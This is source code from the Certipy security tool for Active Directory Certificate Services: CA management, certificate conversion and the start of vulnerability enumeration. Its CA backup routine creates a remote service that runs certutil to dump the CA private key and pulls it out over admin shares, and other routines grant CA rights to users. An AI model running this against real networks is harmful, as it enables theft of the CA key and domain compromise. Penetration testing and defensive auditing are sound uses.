logging.warning("Falling back to default policy") active_policy = "CertificateAuthority_MicrosoftDefault.Policy" active_policy = active_policy.strip("\x00") # Open policy module configuration policy_key_path = ( f"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{self.ca}\\" f"PolicyModules\\{active_policy}" ) policy_key = rrp.hBaseRegOpenKey(self.rrp_dce, h_root_key, policy_key_path) # Retrieve edit flags (controls certificate request behavior) _, edit_flags = rrp.hBaseRegQueryValue( self.rrp_dce, policy_key["phkResult"], "EditFlags" ) if not isinstance(edit_flags, int): logging.warning(f"Expected an int for edit flags, got {type(edit_flags)!r}") logging.warning("Falling back to default edit flags") edit_flags = 0x00000000 # Retrieve request disposition (auto-enrollment settings) _, request_disposition = rrp.hBaseRegQueryValue( self.rrp_dce, policy_key["phkResult"], "RequestDisposition" ) if not isinstance(request_disposition, int): logging.warning( f"Expected an int for request disposition, got {type(request_disposition)!r}" ) logging.warning("Falling back to default request disposition") request_disposition = 0x00000000 # Retrieve disabled extensions _, disable_extension_list = rrp.hBaseRegQueryValue( self.rrp_dce, policy_key["phkResult"], "DisableExtensionList" ) if not isinstance(disable_extension_list, str): logging.warning( f"Expected a string for disable extension list, got {type(disable_extension_list)!r}" ) logging.warning("Falling back to default disable extension list") disable_extension_list = "" # Process null-terminated string list into Python list disable_extension_list = [ item for item in disable_extension_list.strip("\x00").split("\x00") if item ] # Now get general CA configuration settings configuration_key_path = ( f"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{self.ca}" ) configuration_key = rrp.hBaseRegOpenKey( self.rrp_dce, h_root_key, configuration_key_path ) # Retrieve interface flags (controls CA interface behavior) _, interface_flags = rrp.hBaseRegQueryValue( self.rrp_dce, configuration_key["phkResult"], "InterfaceFlags" ) if not isinstance(interface_flags, int): logging.warning( f"Expected an int for interface flags, got {type(interface_flags)!r}" ) logging.warning("Falling back to default interface flags") interface_flags = 0x00000000 # Retrieve security descriptor (controls access permissions) _, security_descriptor = rrp.hBaseRegQueryValue( self.rrp_dce, configuration_key["phkResult"], "Security" ) if not isinstance(security_descriptor, bytes): raise ValueError( f"Expected a bytes object for security descriptor, got {type(security_descriptor)!r}" ) # Parse the binary security descriptor security_descriptor = CASecurity(security_descriptor) # Return a complete configuration object return CAConfiguration( active_policy, edit_flags, disable_extension_list, request_disposition, interface_flags, security_descriptor, ) def get_config(self) -> Optional["CAConfiguration"]: """ Get CA configuration using the Remote Registry Protocol (RRP). This method attempts to retrieve the CA configuration using RRP and handles any exceptions that might occur during the process. Returns: CAConfiguration object containing configuration settings or None if retrieval fails """ try: logging.info(f"Retrieving CA configuration for {self.ca!r} via RRP") result = self.get_config_rrp() logging.info(f"Successfully retrieved CA configuration for {self.ca!r}") return result except Exception as e: logging.warning( f"Failed to get CA configuration for {self.ca!r} via RRP: {e}" ) handle_error(True) logging.warning(f"Could not retrieve configuration for {self.ca!r}") return None # ========================================================================= # Certificate Request Management Methods # ========================================================================= def issue(self) -> bool: """ Issue (approve) a pending certificate request. Returns: True if successful, False otherwise """ if self.request_id is None: logging.error( "A request ID (-request-id) is required in order to issue a pending or failed certificate request" ) return False request = ICertAdminDResubmitRequest() request["pwszAuthority"] = checkNullString(self.ca) request["pdwRequestId"] = int(self.request_id) request["pwszExtensionName"] = checkNullString("\x00") # No extension try: resp = self.cert_admin.request(request) except DCERPCSessionError as e: if "E_ACCESSDENIED" in str(e): logging.error( "Access denied: Insufficient permissions to issue certificate" ) return False logging.error( f"Failed to issue certificate request ID {self.request_id}: {e}" ) handle_error() return False error_code = resp["pdwDisposition"] if error_code == 3: # Success logging.info( f"Successfully issued certificate request ID {self.request_id}" ) return True else: error_msg = translate_error_code(error_code) logging.error(f"Failed to issue certificate: {error_msg}") return False def deny(self) -> bool: """ Deny a pending certificate request. Returns: True if successful, False otherwise """ if self.request_id is None: logging.error( "A request ID (-request-id) is required in order to deny a pending certificate request" ) return False request = ICertAdminDDenyRequest() request["pwszAuthority"] = checkNullString(self.ca) request["pdwRequestId"] = int(self.request_id) try: resp = self.cert_admin.request(request) except DCERPCSessionError as e: if "E_ACCESSDENIED" in str(e): logging.error( "Access denied: Insufficient permissions to deny certificate request" ) return False logging.error( f"Failed to deny certificate request ID {self.request_id}: {e}" ) handle_error() return False error_code = resp["ErrorCode"] if error_code == 0: # Success logging.info( f"Successfully denied certificate request ID {self.request_id}" ) return True else: error_msg = translate_error_code(error_code) logging.error(f"Failed to deny certificate request: {error_msg}") return False # ========================================================================= # Template Management Methods # ========================================================================= def get_templates(self) -> Optional[List[str]]: """ Get list of templates enabled on the CA. Returns: List of template names and their OIDs Returns False if the operation fails """ if self.ca is None: logging.error("A CA (-ca) is required") return None request = ICertAdminD2GetCAProperty() request["pwszAuthority"] = checkNullString(self.ca) request["PropId"] = CR_PROP_TEMPLATES request["PropIndex"] = 0 request["PropType"] = 4 # String data type try: resp = self.cert_admin2.request(request) except DCERPCSessionError as e: if "E_ACCESSDENIED" in str(e): logging.error( "Access denied: Insufficient permissions to get templates" ) return None logging.error(f"Failed to get certificate templates: {e}") handle_error() return None # Parse templates (format is name\noid\nname\noid...) certificate_templates = ( b"".join(resp["pctbPropertyValue"]["pb"]).decode("utf-16le").split("\n") ) return certificate_templates def list_templates(self) -> None: """ List templates enabled on the CA. Prints the list of templates to stdout. """ certificate_templates = self.get_templates() if certificate_templates is None: return if len(certificate_templates) == 1: logging.info(f"There are no enabled certificate templates on {self.ca!r}") return logging.info(f"Enabled certificate templates on {self.ca!r}:") for i in range(0, len(certificate_templates) - 1, 2): print(f" {certificate_templates[i]}") def enable(self, disable: bool = False) -> bool: """ Enable or disable a template on the CA. Args: disable: If True, disable the template; otherwise enable it Returns: True if successful, False otherwise """ if self.ca is None: logging.error("A CA (-ca) is required") return False if self.template is None: logging.error("A template (-template) is required") return False # Get current templates certificate_templates = self.get_templates() if certificate_templates is None: return False # Get template to enable/disable template_obj = Template(self.target, connection=self.connection) template = template_obj.get_configuration(self.template) if template is None: return False action = "disable" if disable else "enable" # Update template list based on action if disable: if template.get("cn") not in certificate_templates: logging.error( f"Certificate template {template.get('cn')!r} is not enabled on {self.ca!r}" ) return False # Remove template and its OID from the list template_index = certificate_templates.index(template.get("cn")) certificate_templates = ( certificate_templates[:template_index] + certificate_templates[template_index + 2 :] ) else: # Add template and its OID to the start of the list certificate_templates = [ template.get("cn"), template.get("msPKI-Cert-Template-OID"), ] + certificate_templates # Convert to UTF-16LE bytes for RPC call certificate_templates_bytes = [ bytes([c]) for c in "\n".join(certificate_templates).encode("utf-16le") ] # Update CA property request = ICertAdminD2SetCAProperty() request["pwszAuthority"] = checkNullString(self.ca) request["PropId"] = CR_PROP_TEMPLATES request["PropIndex"] = 0 request["PropType"] = 4 # String data type request["pctbPropertyValue"]["cb"] = len(certificate_templates_bytes) request["pctbPropertyValue"]["pb"] = certificate_templates_bytes try: resp = self.cert_admin2.request(request) except DCERPCSessionError as e: if "E_ACCESSDENIED" in str(e): logging.error( f"Access denied: Insufficient permissions to {action} template" ) return False logging.error( f"Failed to {action} certificate template {template.get('cn')!r}: {e}" ) handle_error() return False error_code = resp["ErrorCode"] if error_code == 0: logging.info( f"Successfully {action}d {template.get('cn')!r} on {self.ca!r}" ) return True else: error_msg = translate_error_code(error_code) logging.error(f"Failed to {action} certificate template: {error_msg}") return False def disable(self) -> bool: """ Disable a template on the CA. Convenience method that calls enable() with disable=True. Returns: True if successful, False otherwise """ return self.enable(disable=True) # ========================================================================= # CA Security Management Methods # ========================================================================= def _modify_ca_security( self, user: str, right: int, right_type: str, remove: bool = False ) -> Union[bool, None]: """ Add or remove rights for a user on the CA. Args: user: Username right: Right to add/remove (from CERTIFICATION_AUTHORITY_RIGHTS) right_type: Description of the right (for logging) remove: If True, remove the right; otherwise add it Returns: True if successful, False if failed, None if user not found """ connection = self.connection # Get user object user_obj = connection.get_user(user) if user_obj is None: return None # Get user SID sid = ldaptypes.LDAP_SID(data=user_obj.get_raw("objectSid")[0]) # Get current CA security descriptor request = ICertAdminD2GetCASecurity() request["pwszAuthority"] = checkNullString(self.ca) try: resp = self.cert_admin2.request(request) except DCERPCSessionError as e: if "E_ACCESSDENIED" in str(e): logging.error( "Access denied: Insufficient permissions to get CA security" ) return False logging.error(f"Failed to get CA security descriptor: {e}") handle_error() return False # Parse security descriptor sd = ldaptypes.SR_SECURITY_DESCRIPTOR() sd.fromString(b"".join(resp["pctbSD"]["pb"])) # Find ACE for the user or create a new one for i in range(len(sd["Dacl"]["Data"])): ace = sd["Dacl"]["Data"][i] if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE: continue if ace["Ace"]["Sid"].getData() != sid.getData(): continue # Found existing ACE for this user action = "remove" if remove else "add" if remove: # Check if user has the right if ace["Ace"]["Mask"]["Mask"] & right == 0: logging.info( f"User {user_obj.get('sAMAccountName')!r} does not have {right_type} " f"rights on {self.ca!r}" ) return True # Remove the right ace["Ace"]["Mask"]["Mask"] ^= right # Remove the ACE if no rights remaining if ace["Ace"]["Mask"]["Mask"] == 0: sd["Dacl"]["Data"].pop(i) else: # Check if user already has the right if ace["Ace"]["Mask"]["Mask"] & right != 0: logging.info( f"User {user_obj.get('sAMAccountName')!r} already has {right_type} " f"rights on {self.ca!r}" ) return True # Add the right ace["Ace"]["Mask"]["Mask"] |= right break else: # No existing ACE found if remove: # Nothing to remove logging.info( f"User {user_obj.get('sAMAccountName')!r} does not have {right_type} " f"rights on {self.ca!r}" ) return True # Create new ACE ace = ldaptypes.ACE() ace["AceType"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE ace["AceFlags"] = 0 ace["Ace"] = ldaptypes.ACCESS_ALLOWED_ACE() ace["Ace"]["Mask"] = ldaptypes.ACCESS_MASK() ace["Ace"]["Mask"]["Mask"] = right ace["Ace"]["Sid"] = sid sd["Dacl"]["Data"].append(ace) # Convert SD back to bytes sd_bytes = [bytes([c]) for c in sd.getData()] # Set updated security descriptor request = ICertAdminD2SetCASecurity() request["pwszAuthority"] = checkNullString(self.ca) request["pctbSD"]["cb"] = len(sd_bytes) request["pctbSD"]["pb"] = sd_bytes try: resp = self.cert_admin2.request(request) except DCERPCSessionError as e: action = "remove" if remove else "add" if "E_ACCESSDENIED" in str(e): logging.error( f"Access denied: Insufficient permissions to {action} {right_type}" ) return False logging.error(f"Failed to {action} {right_type}: {e}") handle_error() return False error_code = resp["ErrorCode"] if error_code == 0: action = "removed" if remove else "added" logging.info( f"Successfully {action} {right_type} {user_obj.get('sAMAccountName')!r} " f"on {self.ca!r}" ) return True else: error_msg = translate_error_code(error_code) action = "remove" if remove else "add" logging.error(f"Failed to {action} {right_type}: {error_msg}") return False def add(self, user: str, right: int, right_type: str) -> Union[bool, None]: """ Add a right for a user on the CA. Args: user: Username right: Right to add (from CERTIFICATION_AUTHORITY_RIGHTS) right_type: Description of the right (for logging) Returns: True if successful, False if failed, None if user not found """ return self._modify_ca_security(user, right, right_type, remove=False) def remove(self, user: str, right: int, right_type: str) -> Union[bool, None]: """ Remove a right from a user on the CA. Args: user: Username right: Right to remove (from CERTIFICATION_AUTHORITY_RIGHTS) right_type: Description of the right (for logging) Returns: True if successful, False if failed, None if user not found """ return self._modify_ca_security(user, right, right_type, remove=True) def add_officer(self, officer: str) -> Union[bool, None]: """ Add certificate officer rights for a user. Officers can approve/deny certificate requests. Args: officer: Username to add as an officer Returns: True if successful, False if failed, None if user not found """ return self.add( officer, CertificateAuthorityRights.MANAGE_CERTIFICATES.value, "officer" ) def remove_officer(self, officer: str) -> Union[bool, None]: """ Remove certificate officer rights from a user. Args: officer: Username to remove as an officer Returns: True if successful, False if failed, None if user not found """ return self.remove( officer, CertificateAuthorityRights.MANAGE_CERTIFICATES.value, "officer" ) def add_manager(self, manager: str) -> Union[bool, None]: """ Add certificate manager rights for a user. Managers can manage CA configuration. Args: manager: Username to add as a manager Returns: True if successful, False if failed, None if user not found """ return self.add(manager, CertificateAuthorityRights.MANAGE_CA.value, "manager") def remove_manager(self, manager: str) -> Union[bool, None]: """ Remove certificate manager rights from a user. Args: manager: Username to remove as a manager Returns: True if successful, False if failed, None if user not found """ return self.remove( manager, CertificateAuthorityRights.MANAGE_CA.value, "manager" ) # ========================================================================= # CA Backup Methods # ========================================================================= def get_enrollment_services(self) -> List[LDAPEntry]: """ Get all enrollment services in the domain. Returns: List of enrollment service objects """ enrollment_services = self.connection.search( "(&(objectClass=pKIEnrollmentService))", search_base=f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", ) return enrollment_services def get_enrollment_service(self, ca: str) -> Optional[LDAPEntry]: """ Get a specific enrollment service. Args: ca: CA name Returns: Enrollment service object or None if not found """ enrollment_services = self.connection.search( f"(&(cn={ca})(objectClass=pKIEnrollmentService))", search_base=f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", ) if len(enrollment_services) == 0: logging.warning( f"Could not find any enrollment service identified by {ca!r}" ) return None return enrollment_services[0] def get_backup(self) -> Optional[bytes]: """ Retrieve CA backup file from the target. Returns: PFX data as bytes or None if retrieval fails """ # Connect to SMB share smbclient = SMBConnection( self.target.remote_name, self.target.target_ip or "", timeout=self.target.timeout, ) # Authenticate with appropriate method if self.target.do_kerberos: kdc_rep, cipher, session_key, username, domain = get_tgs( self.target, self.target.remote_name, "cifs" ) tgs = {"KDC_REP": kdc_rep, "cipher": cipher, "sessionKey": session_key} _ = smbclient.kerberosLogin( username, self.target.password, domain, self.target.lmhash, self.target.nthash, kdcHost=self.target.dc_ip, TGS=tgs, ) else: _ = smbclient.login( self.target.username, self.target.password, self.target.domain, self.target.lmhash, self.target.nthash, ) # Try to connect to C$ or ADMIN$ share tid = None share = None file_path = None try: share = "C$" tid = smbclient.connectTree(share) file_path = "\\Windows\\Tasks\\certipy.pfx" except Exception as e: if "STATUS_BAD_NETWORK_NAME" in str(e): tid = None else: raise # Fall back to ADMIN$ if C$ fails if tid is None: try: share = "ADMIN$" tid = smbclient.connectTree(share) file_path = "\\Tasks\\certipy.pfx" except Exception as e: if "STATUS_BAD_NETWORK_NAME" in str(e): raise Exception( f"Could not connect to 'C$' or 'ADMIN$' on {self.target.target_ip!r}" ) else: raise pfx = None # Callback to store PFX data def _read_pfx(data: bytes): nonlocal pfx logging.info("Got certificate and private key") pfx = data # Download PFX file try: _ = smbclient.getFile(share, file_path, _read_pfx) except Exception as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): logging.error( "Could not find the certificate and private key. This most likely means that the backup failed" ) return None logging.error(f"Failed to retrieve certificate and private key: {e}") handle_error() return None # Clean up by deleting the temporary file try: _ = smbclient.deleteFile(share, file_path) except Exception as e: logging.info( f"Failed to delete {file_path} - it may have already been deleted: {e}" ) return pfx def backup(self) -> bool: """ Create a backup of the CA key and certificate. Returns: True if successful, False otherwise """ # Connect to service control manager dce = get_dce_rpc( scmr.MSRPC_UUID_SCMR, # type: ignore "\\pipe\\svcctl", self.target, timeout=self.timeout, dynamic=self.dynamic, auth_level_np=rpcrt.RPC_C_AUTHN_LEVEL_NONE, ) if dce is None: logging.error( "Failed to connect to Service Control Manager Remote Protocol" ) return False # Open service manager res = scmr.hROpenSCManagerW(dce) handle = res["lpScHandle"] # Prepare backup command config_param = f" -config {self.config}" if self.config else "" backup_cmd = ( "cmd.exe /c certutil" + config_param + " -backupkey -f -p certipy C:\\Windows\\Tasks\\Certipy && " + "move /y C:\\Windows\\Tasks\\Certipy\\* C:\\Windows\\Tasks\\certipy.pfx" ) logging.info("Creating new service for backup operation") try: # Create service for backup operation resp = scmr.hRCreateServiceW( dce, handle, "Certipy", "Certipy", lpBinaryPathName=backup_cmd, # type: ignore dwStartType=scmr.SERVICE_DEMAND_START, ) service_handle = resp["lpServiceHandle"] except Exception as e: # Handle case where service already exists if "ERROR_SERVICE_EXISTS" in str(e): resp = scmr.hROpenServiceW(dce, handle, "Certipy") service_handle = resp["lpServiceHandle"] # Update existing service with our command resp = scmr.hRChangeServiceConfigW( dce, service_handle, lpBinaryPathName=backup_cmd, # type: ignore ) else: logging.error(f"Failed to create service: {e}") handle_error() return False logging.info("Creating backup") try: # Start the service to execute our command scmr.hRStartServiceW(dce, service_handle) except Exception as e: # Ignore service-specific errors (usually means it's already running) logging.debug(f"Service start returned: {e}") logging.info("Retrieving backup") try: # Get the backup file pfx = self.get_backup() if pfx: # Save raw PFX with password "certipy" logging.info("Backing up original PFX/P12 to 'pfx.p12'") path = try_to_save_file( pfx, "pfx.p12", ) logging.info(f"Backed up original PFX/P12 to {path!r}") # Parse and convert to standard PFX format key, cert = load_pfx(pfx, b"certipy") if cert is None: logging.error("Failed to load certificate from PFX") return False if key is None: logging.error("Failed to load private key from PFX") return False common_name = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[ 0 ] # Create new PFX with default password pfx = create_pfx(key, cert) pfx_out = f"{common_name.value}.pfx" logging.info(f"Saving certificate and private key to {pfx_out!r}") path = try_to_save_file( pfx, pfx_out, ) logging.info(f"Wrote certificate and private key to {path!r}") except Exception as e: logging.error(f"Backup failed: {e}") handle_error() return False logging.info("Cleaning up") # Clean up: delete temporary files on the server cleanup_cmd = "cmd.exe /c del /f /q C:\\Windows\\Tasks\\Certipy\\* && rmdir C:\\Windows\\Tasks\\Certipy" # Update and run the service again for cleanup resp = scmr.hRChangeServiceConfigW( dce, service_handle, lpBinaryPathName=cleanup_cmd, # type: ignore ) try: scmr.hRStartServiceW(dce, service_handle) except Exception: pass # Remove the temporary service scmr.hRDeleteService(dce, service_handle) scmr.hRCloseServiceHandle(dce, service_handle) return True class CAConfiguration: """ Class representing a Certificate Authority configuration. This class encapsulates all the configuration parameters for a Certificate Authority, including security settings, policy configuration, and operational flags. Attributes: active_policy: Name of the active policy module edit_flags: CA policy edit flags controlling certificate request handling disable_extension_list: List of certificate extensions that are disabled request_disposition: Default disposition for certificate requests interface_flags: Flags controlling CA interface behavior security: Security descriptor for the CA """ def __init__( self, active_policy: str, edit_flags: int, disable_extension_list: List[str], request_disposition: int, interface_flags: int, security: CASecurity, ): """ Initialize a CA configuration object. Args: active_policy: Name of the active policy module (typically CertificateAuthority_MicrosoftDefault.Policy) edit_flags: Policy edit flags that control certificate issuance behavior disable_extension_list: List of disabled certificate extensions request_disposition: Default disposition for new certificate requests interface_flags: Interface control flags security: CASecurity object containing the CA's security descriptor """ self.active_policy = active_policy self.edit_flags = edit_flags self.disable_extension_list = disable_extension_list self.request_disposition = request_disposition self.interface_flags = interface_flags self.security = security def entry(options: argparse.Namespace) -> None: """ Entry point for the 'ca' command. Args: options: Command-line arguments """ target = Target.from_options(options) options.__delattr__("target") ca = CA(target, **vars(options)) # Validate CA name if required if not options.backup: if not options.ca: logging.error("A CA (-ca) is required") return # Dispatch to appropriate subcommand handler if options.backup is True: _ = ca.backup() elif options.add_officer is not None: _ = ca.add_officer(options.add_officer) elif options.remove_officer is not None: _ = ca.remove_officer(options.remove_officer) elif options.add_manager is not None: _ = ca.add_manager(options.add_manager) elif options.remove_manager is not None: _ = ca.remove_manager(options.remove_manager) elif options.list_templates: _ = ca.list_templates() elif options.issue_request is not None: ca.request_id = int(options.issue_request) _ = ca.issue() elif options.deny_request is not None: ca.request_id = int(options.deny_request) _ = ca.deny() elif options.enable_template is not None: ca.template = options.enable_template _ = ca.enable() elif options.disable_template is not None: ca.template = options.disable_template _ = ca.disable() else: logging.error("No action specified") Certipy-5.1.0/certipy/commands/cert.py000077500000000000000000000165101521657466500177520ustar00rootroot00000000000000""" Certificate Processing Module for Certipy. This module provides utility functions for working with certificates: - Converting between different certificate formats (PEM, DER, PFX) - Loading certificates and private keys - Exporting certificates in various formats It serves as a command-line utility for certificate manipulation tasks. """ import argparse import sys from typing import Optional, Union from cryptography import x509 from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes from certipy.lib.certificate import ( cert_to_pem, create_pfx, der_to_cert, der_to_key, key_to_pem, load_pfx, pem_to_cert, pem_to_key, ) from certipy.lib.errors import handle_error from certipy.lib.logger import logging def load_certificate_file(file_path: str) -> bytes: """ Load certificate data from a file. Args: file_path: Path to certificate file Returns: Certificate data as bytes """ logging.debug(f"Loading certificate from {file_path!r}") try: with open(file_path, "rb") as f: cert_data = f.read() return cert_data except FileNotFoundError: logging.error(f"Certificate file not found: {file_path!r}") raise except IOError as e: logging.error(f"Error reading certificate file: {e}") raise except Exception as e: logging.error(f"Unexpected error reading certificate file: {e}") raise def load_key_file(file_path: str) -> bytes: """ Load private key data from a file. Args: file_path: Path to private key file Returns: Private key data as bytes """ logging.debug(f"Loading private key from {file_path!r}") try: with open(file_path, "rb") as f: key_data = f.read() return key_data except FileNotFoundError: logging.error(f"Private key file not found: {file_path!r}") raise except IOError as e: logging.error(f"Error reading private key file: {e}") raise except Exception as e: logging.error(f"Unexpected error reading private key file: {e}") raise def parse_certificate(cert_data: bytes) -> x509.Certificate: """ Parse certificate data from PEM or DER format. Args: cert_data: Raw certificate data Returns: Parsed certificate object """ try: # Try PEM format first return pem_to_cert(cert_data) except Exception: # Fall back to DER format try: return der_to_cert(cert_data) except Exception as e: logging.error(f"Failed to parse certificate: {e}") raise ValueError("Certificate is not in a valid PEM or DER format") def parse_key(key_data: bytes) -> PrivateKeyTypes: """ Parse private key data from PEM or DER format. Args: key_data: Raw private key data Returns: Parsed private key object """ try: # Try PEM format first return pem_to_key(key_data) except Exception: # Fall back to DER format try: return der_to_key(key_data) except Exception as e: logging.error(f"Failed to parse private key: {e}") raise ValueError("Private key is not in a valid PEM or DER format") def write_output(data: Union[bytes, str], output_path: Optional[str] = None) -> None: """ Write data to a file or stdout. Args: data: Data to write output_path: Path to output file or None for stdout """ if output_path: # Determine if we need binary mode mode = "wb" if isinstance(data, bytes) else "w" try: with open(output_path, mode) as f: _ = f.write(data) logging.info(f"Data written to {output_path!r}") except IOError as e: logging.error(f"Error writing output file: {e}") raise except Exception as e: logging.error(f"Unexpected error writing output file: {e}") raise else: # Write to stdout if isinstance(data, bytes): _ = sys.stdout.buffer.write(data) else: print(data) def entry(options: argparse.Namespace) -> None: """ Entry point for the 'cert' command. Processes certificates and private keys according to specified options. Args: options: Command-line arguments """ cert, key = None, None # Validate inputs if not any([options.pfx, options.cert, options.key]): logging.error("-pfx, -cert, or -key is required") return # Process PFX input if provided if options.pfx: try: password = options.password.encode() if options.password else None log_msg = ( f"Loading PFX {options.pfx!r} with password" if password else f"Loading PFX {options.pfx!r} without password" ) logging.debug(log_msg) with open(options.pfx, "rb") as f: pfx = f.read() key, cert = load_pfx(pfx, password) except Exception as e: logging.error(f"Failed to load PFX file: {e}") handle_error() return # Process certificate input if provided if options.cert: try: cert_data = load_certificate_file(options.cert) cert = parse_certificate(cert_data) except Exception as e: logging.error(f"Failed to process certificate: {e}") handle_error() return # Process private key input if provided if options.key: try: key_data = load_key_file(options.key) key = parse_key(key_data) except Exception as e: logging.error(f"Failed to process private key: {e}") handle_error() return # Export in PFX format if options.export: if not (key and cert): logging.error( "Both certificate and private key are required for PFX export" ) return try: pfx = create_pfx(key, cert, options.export_password) write_output(pfx, options.out) except Exception as e: logging.error(f"Failed to create PFX: {e}") handle_error() return # Export in PEM format else: output_parts = [] output_types = [] # Add certificate to output if available and not suppressed if cert and not options.nocert: output_parts.append(cert_to_pem(cert).decode()) output_types.append("certificate") # Add private key to output if available and not suppressed if key and not options.nokey: output_parts.append(key_to_pem(key).decode()) output_types.append("private key") # Combine all parts output = "".join(output_parts) # Check if output is empty if not output: logging.error("Output is empty") return # Format log message for what's being written log_str = " and ".join(output_types) try: write_output(output, options.out) if options.out: logging.info(f"Writing {log_str} to {options.out!r}") except Exception as e: logging.error(f"Failed to write output: {e}") handle_error() Certipy-5.1.0/certipy/commands/find.py000066400000000000000000002630321521657466500177350ustar00rootroot00000000000000""" Certificate Finder Module for Certipy. This module allows enumerating Active Directory Certificate Services (AD CS) components: - Certificate templates - Certificate authorities - Certificate issuance policies - Security permissions and ACLs - Vulnerability detection for ESC1-15 It provides detailed information about certificate templates, authorities, and security settings, helping identify misconfiguration and potential attack vectors. """ import argparse import copy import csv import io import json import time from collections import OrderedDict from datetime import datetime from typing import Any, Dict, List, Optional, Set, Tuple, cast import httpx import requests from asn1crypto import x509 from impacket.dcerpc.v5 import rpcrt, rrp from certipy.lib.constants import ( EXTENDED_RIGHTS_MAP, EXTENDED_RIGHTS_NAME_MAP, OID_TO_STR_MAP, USER_AGENT, ActiveDirectoryRights, CertificateAuthorityRights, CertificateNameFlag, CertificateRights, EnrollmentFlag, IssuancePolicyRights, PrivateKeyFlag, ) from certipy.lib.errors import handle_error from certipy.lib.files import try_to_save_file from certipy.lib.formatting import pretty_print from certipy.lib.kerberos import HttpxKerberosAuth from certipy.lib.ldap import LDAPConnection, LDAPEntry from certipy.lib.logger import is_verbose, logging from certipy.lib.ntlm import HttpxNtlmAuth, NtlmNotSupportedError from certipy.lib.rpc import get_dce_rpc_from_string_binding from certipy.lib.security import ( CertificateSecurity, IssuancePolicySecurity, is_admin_sid, ) from certipy.lib.target import Target from certipy.lib.time import filetime_to_str from .ca import CA class Find: def __init__( self, target: Target, json: bool = False, csv: bool = False, text: bool = False, stdout: bool = False, output: Optional[str] = None, trailing_output: str = "", enabled: bool = False, oids: bool = False, vulnerable: bool = False, hide_admins: bool = False, sid: Optional[str] = None, dn: Optional[str] = None, dc_only: bool = False, connection: Optional[LDAPConnection] = None, **kwargs, # type: ignore ): self.target = target self.json = json self.csv = csv self.text = text or stdout self.stdout = stdout self.output = output self.trailing_output = trailing_output self.enabled = enabled self.oids = oids self.vuln = vulnerable self.hide_admins = hide_admins self.sid = sid self.dn = dn self.dc_only = dc_only self.kwargs = kwargs self._connection = connection self._user_sids = None # ========================================================================= # Connection Handling # ========================================================================= @property def connection(self) -> LDAPConnection: """ Get or create an LDAP connection. Returns: Active LDAP connection to the target """ if self._connection is not None: return self._connection self._connection = LDAPConnection(self.target) self._connection.connect() return self._connection @property def user_sids(self) -> Set[str]: """ Get current user's SIDs. Returns: Set of SIDs associated with the current user """ if self._user_sids is None: self._user_sids: Optional[Set[str]] = self.connection.get_user_sids( self.target.username, self.sid, self.dn ) return self._user_sids def open_remote_registry( self, target_ip: str, dns_host_name: str ) -> Optional[rpcrt.DCERPC_v5]: """ Open a connection to the remote registry service. Args: target_ip: IP address of the target dns_host_name: DNS host name of the target Returns: DCE/RPC connection to the remote registry or None if failed """ dce = get_dce_rpc_from_string_binding( "ncacn_np:445[\\pipe\\winreg]", self.target, timeout=self.target.timeout, target_ip=target_ip, remote_name=dns_host_name, ) # Try to connect up to 3 times (registry service might need to start) for _ in range(3): try: dce.connect() _ = dce.bind(rrp.MSRPC_UUID_RRP) logging.debug( f"Connected to remote registry at {self.target.remote_name!r} ({self.target.target_ip!r})" ) return dce except Exception as e: if "STATUS_PIPE_NOT_AVAILABLE" in str(e): logging.warning( "Failed to connect to remote registry. Service should be starting now. Trying again..." ) time.sleep(2) else: raise logging.warning("Failed to connect to remote registry after 3 attempts") return None # ========================================================================= # LDAP Query Methods # ========================================================================= def get_certificate_templates(self) -> List[LDAPEntry]: """ Query LDAP for certificate templates. Returns: List of certificate template entries """ return self.connection.search( "(objectclass=pKICertificateTemplate)", search_base=f"CN=Certificate Templates,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", attributes=[ "cn", "name", "displayName", "pKIExpirationPeriod", "pKIOverlapPeriod", "msPKI-Enrollment-Flag", "msPKI-Private-Key-Flag", "msPKI-Certificate-Name-Flag", "msPKI-Certificate-Policy", "msPKI-Minimal-Key-Size", "msPKI-RA-Signature", "msPKI-Template-Schema-Version", "msPKI-RA-Application-Policies", "pKIExtendedKeyUsage", "nTSecurityDescriptor", "objectGUID", "whenCreated", "whenChanged", ], query_sd=True, ) def get_certificate_authorities(self) -> List[LDAPEntry]: """ Query LDAP for certificate authorities. Returns: List of certificate authority entries """ return self.connection.search( "(&(objectClass=pKIEnrollmentService))", search_base=f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", attributes=[ "cn", "name", "dNSHostName", "cACertificateDN", "cACertificate", "certificateTemplates", "objectGUID", ], ) def get_issuance_policies(self) -> List[LDAPEntry]: """ Query LDAP for issuance policies (OIDs). Returns: List of issuance policy entries """ return self.connection.search( "(objectclass=msPKI-Enterprise-Oid)", search_base=f"CN=OID,CN=Public Key Services,CN=Services,{self.connection.configuration_path}", attributes=[ "cn", "name", "displayName", "msDS-OIDToGroupLink", "msPKI-Cert-Template-OID", "nTSecurityDescriptor", "objectGUID", ], query_sd=True, ) # ========================================================================= # Main Discovery Method # ========================================================================= def find(self) -> None: """ Discover and analyze AD CS components and detect vulnerabilities. This is the main entry point that: 1. Discovers templates, CAs, and issuance policies 2. Processes their properties and security settings 3. Detects vulnerabilities 4. Outputs results in requested formats """ # Early establish connection _connection = self.connection # Get user SIDs for vulnerability assessment if needed if self.vuln: sids = self.user_sids if is_verbose(): logging.debug("List of current user's SIDs:") for sid in sids: sid_info = self.connection.lookup_sid(sid) print(f" {sid_info.get('name')} ({sid_info.get('objectSid')})") # Step 1: Query and discover AD CS components logging.info("Finding certificate templates") templates = self.get_certificate_templates() logging.info( f"Found {len(templates)} certificate template{'s' if len(templates) != 1 else ''}" ) logging.info("Finding certificate authorities") cas = self.get_certificate_authorities() logging.info( f"Found {len(cas)} certificate authorit{'ies' if len(cas) != 1 else 'y'}" ) # Step 2: Find relationships between CAs and templates enabled_templates_count = self._link_cas_and_templates(cas, templates) logging.info( f"Found {enabled_templates_count} enabled certificate template{'s' if enabled_templates_count != 1 else ''}" ) # Step 3: Find issuance policies and their relationships logging.info("Finding issuance policies") oids = 